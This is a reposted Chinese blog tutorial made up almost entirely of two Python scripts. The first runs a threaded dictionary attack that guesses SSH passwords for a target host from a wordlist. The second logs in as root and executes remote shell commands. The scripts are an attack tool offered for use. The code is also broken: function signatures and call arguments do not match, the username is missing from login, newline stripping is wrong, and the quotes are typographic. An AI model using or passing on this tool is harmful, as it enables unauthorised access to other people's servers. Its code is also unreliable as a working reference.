Python脚本--爆破SSH
发布时间:2020-12-20 10:43:15 所属栏目:Python 来源:网络整理
导读:利用Pxssh是pexpect库的ssh专用脚本 环境:kali 代码: ‘‘‘Author:yw‘‘‘from pexpect import pxsshimport optparsefrom threading import *Max_Connect = 5connection_lock = BoundedSemaphore(value=Max_Connect)def connect(host,user,password): tr
利用Pxssh是pexpect库的ssh专用脚本
代码: ‘‘‘ Author:yw ‘‘‘ from pexpect import pxssh import optparse from threading import * Max_Connect = 5 connection_lock = BoundedSemaphore(value=Max_Connect) def connect(host,user,password): try: s = pxssh.pxssh() s.login(host,password) print("[+]Password Found:"+password) Found = True except Exception as e: pass def main(): parser = optparse.OptionParser(‘usage %prog -H <target host> -f <passwd file> -u <username>‘) parser.add_option(‘-H‘,dest=‘host‘,type=‘string‘,help=‘target host‘) parser.add_option(‘-f‘,dest=‘passwdfile‘,help=‘passwofile‘) parser.add_option(‘-u‘,dest=‘user‘,help=‘login username‘) (options,args) = parser.parse_args() host = options.host passwdfile = options.passwdfile user = options.user if host==None or passwdfile==None or user==None: print(parser.usage) exit(0) mn = open(passwdfile,‘r‘) lines = mn.readlines() for line in lines: with connection_lock: password = line.strip(‘n‘) print(‘[-] Test:‘+str(password)) t = Thread(target=connect,args=(host,password)) t.start() if __name__ == ‘__main__‘: main() 执行结果: 爆破成功后(远程执行上述命令)代码: ‘‘‘ Author:yw ‘‘‘ from pexpect import pxssh def send_shell(s,shell): s.sendline(shell) s.prompt() print s.before def connect(host,password): try: s=pxssh.pxssh() s.login(host,password) return s except: print("[-] Error Connecting") exit(0) s=connect(‘127.0.0.1‘,‘root‘,‘toor‘) send_shell(s,‘uname -a‘) (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |